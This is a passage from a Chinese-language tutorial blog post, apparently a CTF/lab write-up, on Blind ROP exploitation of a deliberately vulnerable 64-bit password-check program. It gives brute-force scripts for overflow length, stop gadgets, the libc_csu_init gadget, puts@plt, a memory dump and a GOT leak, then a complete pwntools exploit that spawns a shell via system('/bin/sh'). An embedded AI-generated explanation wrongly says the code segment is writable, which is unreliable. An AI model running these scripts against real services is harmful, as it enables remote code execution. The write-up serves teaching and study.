puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

2.BROP利用的思路

在BROP情况下挖掘的基本思路:

  1. 判断栈溢出的长度:暴力枚举
  2. Stack Reading:获取栈上的数据来泄露canary以及ebp和返回地址
  3. Blind ROP:找到足够多的gadget来控制输出函数的参数,并且对其进行调用,比如write函数或者puts函数
  4. 写EXP:利用输出函数来dump出程序以便于找到更多的gadget,然后写gadget

2.实例

1.生成文件

在kali创建空白文件,命名为program.c,将源码保存其中

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"`);
}

打开终端利用gcc将文件编译为elf文件(别这样做,没注意到题目)

gcc -o program program.c

这里要在编译的时候关闭pie保护

gcc -o program program.c -no-pie
image-20240424090127605

2.checksec查一下

这里是编译的时候打开了PIE保护,不便于演示,应当查看关闭PIE保护的程序

image-20240424084026048

打开了NX保护,PTE保护

  • NX(No eXecute):NX 被启用,这意味着堆栈和堆上的代码不可执行,以防止攻击者执行注入的恶意代码
  • PIE(Position Independent Executable):PIE 被启用,这使得可执行文件在加载时会被随机映射到内存中的不同位置,从而增加了攻击者利用漏洞的难度

关闭PIE保护的程序

image-20240424090310952
  1. 开启nx保护所以将shellcode部署在gadget上
  2. 这里使用的时brop的处理策略:使用暴力穷举法不断穷举地址(根据不同的回显找到地址)没有开启PIE,并且初始地址为0x400000

3.ida分析程序

image-20240424084551177
int __cdecl main(int argc, const char **argv, const char **envp)
{
// 设置标准输入流的缓冲区为无缓冲
setbuf(stdin, 0LL);
// 设置未初始化数据段的起始地址的缓冲区为无缓冲
setbuf(_bss_start, 0LL);
// 设置标准错误流的缓冲区为无缓冲
setbuf(stderr, 0LL);
// 打印欢迎消息
puts("WelCome my friend,Do you know password?");
// 调用check函数进行密码检查,如果返回值为非零,则打印“没有密码,没有游戏”,否则打印“不要倾倒我的内存”
if ( (unsigned int)check() )
puts("No password, no game");
else
puts("Do not dump my memory");
// 返回0表示程序执行成功
return 0;
}
image-20240424084739638
int check()
{
char buf[64]; // 声明一个长度为64字节的字符数组,用于存储用户输入的字符串

// 从标准输入流(文件描述符0)读取最多0x400(1024)字节的数据到buf数组中
read(0, buf, 0x400uLL);

// 使用strcmp函数比较buf中的字符串与给定的字符串 "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"
// 如果两个字符串相等,strcmp返回0,否则返回非零值
return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

利用read函数进行读取字符串(满足利用条件)

4.主体利用思路

  1. 控制puts函数打印出自身的got表地址
  2. 通过got地址利用LibcSearcher计算出当前使用的libc版本
  3. 接着找到system函数和/bin/sh地址部署到栈中执行

5.分析利用栈溢出

1.确认栈溢出长度

ida分析:

image-20240424092918166

可以看到这里的read的接收是0x400,buf的大小是0x64个字节

brop盲打计算栈溢出长度:

这里就一直增加字符的长度直到程序崩溃(这里的栈溢出长度就是0x64)

image-20240424094114927
2.脚本实现:
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('xxxxxx', xxxx) #远程链接程序,也可以使用下面的本地链接程序
#sh = process('./brop')
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a') #不断增加a的数量输入到程序中
output = sh.recv() #将获取到的回显内容放在output变量中
sh.close()
if not output.startswith('No password'):
#判断output变量中起始位置是不是No password,如果不是说明已经溢出了
return i - 1
else:
i += 1
except EOFError:#主要探测是否具有canary
sh.close()
return i - 1

从而构造栈结构

                       +---------------------------+
| ret |
+---------------------------+
| a | 递增a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a+ | 递增a字符串占位填满栈空间
| .... | .....
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
ebp-?-->+---------------------------+

6.寻找stop gadget

gpt的原理解析:(看个乐子就行)
在漏洞利用过程中,当我们尝试利用程序中的漏洞时,通常需要控制程序执行的流程,使其执行我们所期望的操作,比如执行特定的代码片段(即 gadget)或者调用某些函数。在现代系统中,通常采用栈溢出漏洞来实现控制流劫持(Control Flow Hijacking),其中包括控制函数的返回地址,从而实现对程序执行流的控制

具体来说,当程序存在栈溢出漏洞时,我们可以通过向栈中输入超出预期长度的数据来覆盖保存在栈上的返回地址。这样,当函数执行完毕后,将会跳转到我们所控制的地址,从而实现控制流劫持。而这个被我们控制的地址通常指向了我们所希望执行的代码片段,即 gadget

Gadget 是一些程序中常见的短小的代码片段,通常由一系列指令组成,这些指令可以被利用来完成特定的任务,比如执行系统调用、修改寄存器值、进行堆栈操作等。由于现代系统中禁止执行栈上的数据,因此在利用栈溢出漏洞时,我们通常会利用程序中已经存在的一些代码片段(即 gadget)来完成我们的目标,而不是插入完整的恶意代码

在寻找 gadget 时,我们通常需要通过逆向工程或者分析程序的二进制代码来识别适合我们目的的代码片段。常见的 gadget 包括指令序列的结尾,因为这些序列通常是函数调用的返回点,或者执行某些有用的操作。一些常见的 gadget 包括:`pop`, `pop`, `ret`,`pop`, `ret` 等,这些指令序列可以用来修改栈上的数据或者跳转到指定地址

总的来说,通过控制程序的返回地址,我们可以实现控制流劫持,并通过寻找合适的 gadget 来完成我们的目标,比如执行特定的操作、调用系统函数等
控制返回地址,进行对gadget的猜测:(三种回回显)
  1. 程序直接崩溃:ret地址指向的是一个程序内不存在的地址
  2. 程序运行一段时间后崩溃:比如运行自己构造的函数,该函数的返回地址指向不存在的地址
  3. 程序一直运行而不崩溃
寻找stop gadget原理

一般指的是,但程序执行这段代码时,程序进入无限循环(这样使得攻击者能够一直保持连接状态,并且程序一直运行而不崩溃

stop gadget最后的ret结尾地址就是程序开启的地址(比如main函数地址)

寻找的开始逻辑:

这里使用穷举法,从0x400000开始循环累加地址

寻找的终止条件:

利用stop gadget的特性:在执行stop gadget的时候程序会回到初始状态并且不会发生崩溃

使用前面找到的72字节填满栈空间,之后接上穷举的地址此时穷举地址覆盖了ret地址,那么接下来就会执行穷举地址,如果此时程序发生崩溃就进行下一次循环,如果没有崩溃则打印该地址

最终实现的脚本
def get_stop_addr(length):
addr = 0x400000 #尝试起始地址
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./program')
sh.recvuntil('password?\n')
payload = 'hollkdig' * length + p64(addr) #输入72个字节后面加穷举地址覆盖ret
sh.sendline(payload)
sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr)
return addr #由于执行代码写在了try中,所以只有程序不崩溃才能走到这一步
except Exception:
addr += 1 #如果出现崩溃导致的异常,那么addr+1
sh.close()

get_stop_addr(9) #传入72个字符串

此处找到的地址是

0x4006b6

脚本处理的技巧

因为不止一个不会崩溃的地址,所以在运行后可以将0x400000的地址替换为上一个已经找到的不崩溃的地址

寻找过程中栈中的情况
                       +---------------------------+
| 0x400000+ | 递增地址覆盖原ret返回位置
+---------------------------+
| hollkdig | hollkdig字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig字符串占位填满栈空间
| .... | .....
| hollkdig | hollkdig字符串占位填满栈空间
| hollkdig | hollkdig字符串占位填满栈空间
| hollkdig | hollkdig字符串占位填满栈空间
| hollkdig | hollkdig字符串占位填满栈空间
ebp-?-->+---------------------------+

7.寻找brop gadget思路

先理一下整体思路:

利用puts函数打印出自己的got地址,通过got地址找到对应的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行

处理的问题

将要打印的内容puts出来的之前这些内容的存储问题

存储的方式

将要打印的内容存储到rdi寄存器中,利用gadget来控制rdi寄存器

8.利用libc_csu_init寻找brop gadget原理

libc_csu_init的结尾一长串pop的gadget中,通过偏移得到pop rdi的操作

                    +---------------------------+  0x00
| pop rbx |
+---------------------------+
| pop rbp |
+---------------------------+
| pop r12 |
+---------------------------+
| pop r13 |
+---------------------------+
| pop r14 | pop rsi 0x7
+---------------------------+------>pop r15
| pop r15 | ret
+---------------------------+------------------->pop rdi 0x9
| ret | ret
-----------------------------

以pop rbx为基地址的话向下偏移0x7会得到pop rsi的操作,向下偏移0x9会得到pop rdi的操作

可以利用stop gadget得到libc_csu_init结尾6个pop操作的地址

定义栈上三种地址的类型
  • Probe探针,也就是我们想要循环递增的代码地址。一般来说都是64位程序,可以直接从0x400000尝试
  • Stop不会使得程序崩溃的stop gadget的地址
  • Trap可以导致程序崩溃的地址
在栈上访问不同程序的Stop与Trap从而来识别出正在执行的指令

例子:

   +---------------------------+ 
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| probe | <----- 探针
-----------------------------

通过程序是否崩溃来判断probe探针中可能存在的汇编语句

  1. 如果程序没有崩溃,说明stop gadget被执行了(说明probe探针中没有pop操作,并且有ret返回)
  2. 如果有pop操作的话stop会被pop进寄存器当中,那么就会导致程序崩溃(probe探针的ret返回就会指向stop的后几位traps)
  3. 在栈布局中stop gadget在probe探针的下一位(说明stop所在位置就是probe探针的ret返回地址位置)

如下:

ret
xor eax,eax; ret
probe, trap, trap, trap, trap, trap, trap, stop, traps照此顺序进行排列
   +---------------------------+ 
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| probe | <----- 探针
-----------------------------

在这个栈中

  1. 如果程序没有崩溃,说明stop gadget被执行了,且probe中仅存在一个pop操作,以及ret返回(在probe探针中只有一个pop操作的时候才会只将probe后面的trap弹进寄存器0)
  2. 如果有两个及两个以上的pop操作的时候,stop gadget也会被弹进寄存器中无法执行(在probe探针中ret返回所指的位置是stop才能使程序不崩溃)
pop rax; ret
pop rdi; ret
probe, trap, trap, trap, trap, trap, trap, stop, traps照此顺序进行排列
   +---------------------------+ 
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| probe | <----- 探针
-----------------------------

在这个栈中

  1. 如果程序没有崩溃,说明stop gadget被执行了,且该probe探针中存在6个pop操作,以及ret(只有在6个pop操作之后probe后面的trap才能弹进寄存器,之后sp指针才能指向stop gadget)
  2. 这个时候stop gadget只有在ret位置才能被执行,因此程序不会崩溃
构造利用libc_csu_init最后的6个pop加ret对应的栈地址结构
addr,trap, trap, trap, trap, trap, trap, stop, traps

addr通过循环不断增加地址位,只有addr所在地址拥有6个pop操作并ret的时候才会执行stopgadget

9.构造利用libc_csu_init函数的最后一个gadget,计算出popr di地址,得到brop gadgetEXP

  1. 循环内容:递增地址,找到可以执行6个pop和一个ret操作的gadget 循环终止条件:
  2. 程序不崩溃,并出现起始的输出提示’WelCome’字符
def get_brop_gadget(length, stop_gadget, addr): #查找brop gadget函数
try:
sh = remote('xxxxxx', xxxx)
#sh = process('./program')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k) + p64(0) + p64(stop_gadget) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k)
#通过72个a填满栈空间到ret,增长的地址覆盖原有的ret地址,接着用6个字符的p64形式充当trap,最后接上stop
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
if not content.startswith('WelCome'):
#判断提示符是否出现起始提示字符,如果有说明程序没崩溃
return False
return True
except Exception:
sh.close()
return False

def check_brop_gadget(length, addr):#检查地址
try:
sh = remote('127.0.0.1', 9999)
#sh = process(',.brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
#理论上应该从0x400000开始寻找,但是这个环节要找的是Libc_csu_init函数,所以大多数的libc中Libc_csu_init函数的起始地址都在0x400740之后,所以为了减少误差,从0x400740开始
while 1: #循环递增要测试的地址
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1

运行得到一堆gadget地址,这里能利用的就是0x4007ba

10.为了更加直观,在ida中查看0x4007b

(盲打的过程,这里是不可见的)

.text:00000000004007BA                 pop     rbx
.text:00000000004007BB pop rbp
.text:00000000004007BC pop r12
.text:00000000004007BE pop r13
.text:00000000004007C0 pop r14
.text:00000000004007C2 pop r15
.text:00000000004007C4 retn

此时栈终端的布局

                       +---------------------------+
| 0 | trap
+---------------------------+
| ..... | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| k | trap
+---------------------------+
| l | trap
+---------------------------+
| l | trap
+---------------------------+
| o | trap
+---------------------------+
| h | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+

brop gadget之后加上0x9的偏移就可以得到pop rdi;ret操作的地址0x4007c3

11.寻找puts@plt地址

1.结合前面的已知,整理大致思路:

在得到ret这个gadget的地址了,那么我们就可以控制puts函数的输出内容

2.需要的地址:

找到gadget中puts_plt的地址

3.具体的思路

将puts的基地址部署在rdi中,调用puts函数打印rdi地址中的参数

存在NX保护,需要程序内部的字符串(0x400000处为ELF文件的头部,其内容为’ \ x7fELF’)进行利用没有开启PIE保护

原理:

由于程序的代码段通常不会被标记为不可写(write-protected)

因此我们可以通过修改代码段中的某些指令来实现我们的目标,比如修改 puts 函数调用的参数地址

利用方法:

  1. 找到程序中调用 puts 函数的指令序列。
  2. 修改这个指令序列,将 puts 函数的参数地址设置为 ELF 头部的地址(0x400000)
  3. 由于 ELF 头部包含固定的字节序列 ' \ x7fELF',我们可以将其中的 '\x7f' 替换为 '\n',这样就可以构造一个特殊的字符串,使得 puts 函数会打印出这个字符串的一部分内容,从而泄露出 ELF 头部的地址
  4. 然后,我们可以计算出其他需要的地址
4.构造的EXP
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
#72个A填充栈空间,调用pop rdi;ret gadget将0x400000pop进rdi寄存器,循环增长的地址放在gadget的ret位置,在执行完gadget后直接调用循环增长的地址,如果增长到puts_plt地址就会打印rdi寄存器中地址内存放的字符串,最后的stop gadget是为了让程序不崩溃
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):#判断是否打印\x7fELF
print 'find hollkdig puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1

##length = getbufferflow_length()
length = 72
rdi_ret = 0x4007c3
##get_stop_addr(length)
stop_gadget = 0x4006b6

处理后找到puts_plt的地址0x400560

5.ida验证一下
.plt:0000000000400550                 dq 2 dup(?)
.plt:0000000000400560 ; [00000006 BYTES: COLLAPSED FUNCTION _puts. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:0000000000400566 dw ?
6.栈中的结构
                       +---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址,作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址,地址内存放'、x7fELF'
+---------------------------+
| 0x4007c3 | pop rdi;ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+

12.寻找puts_got地址

整理后续思路:

puts_got地址泄露出来,得到puts_got地址之后就可以利用LibcSearcher查找对应的libc版本,再根据版本找到libc中的system函数和/bin/sh

泄露puts_got地址的原理:
  1. 在执行call puts
  2. 在plt表中寻找puts_plt的地址(存放的是存放在got表中的puts函数的真实地址)
  3. 在got表查找puts函数的真实地址
查找puts_got的操作:

ret2csu中我们使用的是LibcSearcher查找的函数got表地址

这道题开启了ASLR,所以不能使用工具去获取地址,那么我们手动的去找,找的就是在puts_plt地址中存放的jmp指令后接的地址(puts_got的地址)

手动的将整个PLT部分都dump出来

dump出来的文件重新设置基地址0x400000,再根据前面得到的puts_plt地址找到对应位置,查看该地址内的汇编指令

PLT的dump脚本
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
#72个a填满栈空间至ret位置,后接pop rdi;ret gadget,循环递增的地址被pop进rdi寄存器,接下来将puts_plt地址防止在gadget ret位置进行调用打印循环递增的地址,最后加上stop gadget防止崩溃
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]#将接收的\nWelCome之前的字符串交给data变量
except Exception:
data = data
if data == "": #如果data被赋值之后为空,那么就说明已经完成整个dump过程,添加\x00截断
data = '\x00'
return data
except Exception:
sh.close()
return None

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = "" #准备一个空字符串接收dump出来的代码
while addr < 0x401000: #从0x400000开始泄露0x1000个字节,足以包含程序的plt部分
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None: #判断接收字符是否为空
continue
else:
result += data #接收字符串
addr += len(data) #addr+接收字符串个数,避免接收重复的字符串
with open('hollk', 'wb') as f: #在当前目录下以二进制形式向hollk文件中写
f.write(result)

会生成一个hollk的文件

dump下来的文件使用ida64位打开

hollk文件设置基地址,因为我们是从0x400000处开始dump的,所以基地址就设为0x400000

设置步骤:edit->segments->rebase program 将程序的基地址改为 0x400000

前面找到puts函数的plt地址0x400560

所以我们找到偏移0x560

seg000:000000000040055E                 db  40h ; @
seg000:000000000040055F db 0
seg000:0000000000400560 db 0FFh
seg000:0000000000400561 db 25h ; %
seg000:0000000000400562 db 0B2h ;
seg000:0000000000400563 db 0Ah

在0x560处按c键,将此处数据转换为汇编指令

seg000:000000000040055F                 db    0
seg000:0000000000400560 ; -------------------------------------------------------------
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400560 ; -------------------------------------------------------------
seg000:0000000000400566 db 68h ; h

这样就找到puts_plt地址中jmp指令后面接的puts_got地址了,0x601018

13.整理shell

length = 72
stop_gadget = 0x4006b6
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
puts_plt = 0x400560
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
# 连接到远程服务

sh.recvuntil('password?\n')
# 接收直到遇到 "password?" 的数据

payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
# 构造 payload,填充长度为 length 的 'a',然后设置 RDI 为 puts 函数的 GOT 地址,调用 puts 函数,最后停止执行

sh.sendline(payload)
# 发送 payload 给目标程序

data = sh.recvuntil('\nWelCome', drop=True)
# 接收直到遇到 "\nWelCome" 的数据,并去掉结尾的换行符

puts_addr = u64(data.ljust(8, '\x00'))
# 解析出接收到的数据中的 puts 函数的地址

libc = LibcSearcher('puts', puts_addr)
# 使用 puts 函数的地址创建一个 LibcSearcher 对象

libc_base = puts_addr - libc.dump('puts')
# 计算 libc 的基址地址

system_addr = libc_base + libc.dump('system')
# 计算 system 函数的地址

binsh_addr = libc_base + libc.dump('str_bin_sh')
# 计算 "/bin/sh" 字符串的地址

payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
# 构造新的 payload,设置 RDI 为 "/bin/sh" 字符串的地址,然后调用 system 函数,最后停止执行

sh.sendline(payload)
# 发送新的 payload 给目标程序

sh.interactive()
# 交互模式,与目标程序进行交互

14.完整的EXP

from pwn import *
from LibcSearcher import *

# 创建一个远程连接到目标服务
sh = remote('xxxxxxxxxx', xxxx)

# 定义一个函数,用于获取缓冲区溢出的长度
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1

# 定义一个函数,用于寻找停止执行的 gadget 地址
def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
print 'one success stop gadget addr: 0x%x' % (addr)
except Exception:
addr += 1
sh.close()

# 定义一个函数,用于构造 CSU (Control-flow hijacking, Stack pivot, and Unaligned gadgets) gadget
def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
payload = p64(csu_last) # pop rbx,rbp,r12,r13,r14,r15, ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(saved_addr) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(csu_middle) # will call [rbx + r12 * 0x8]
payload += 'A' * 56 # junk
return payload

# 定义一个函数,用于获取 BROP gadget 地址
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False

# 定义一个函数,用于检查 BROP gadget 是否可用
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True

# 定义一个函数,用于寻找合适的 BROP gadget 地址
def find_brop_gadget(length, stop_gadget):
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
return addr
addr += 1

# 定义一个函数,用于获取 puts 函数的地址
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1

# 定义一个函数,用于泄漏内存中的数据
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None

# 定义一个函数,用于泄漏函数地址
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)

length = 72
stop_gadget = 0x4006b6
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
puts_plt = 0x400560
puts_got = 0x601018

sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇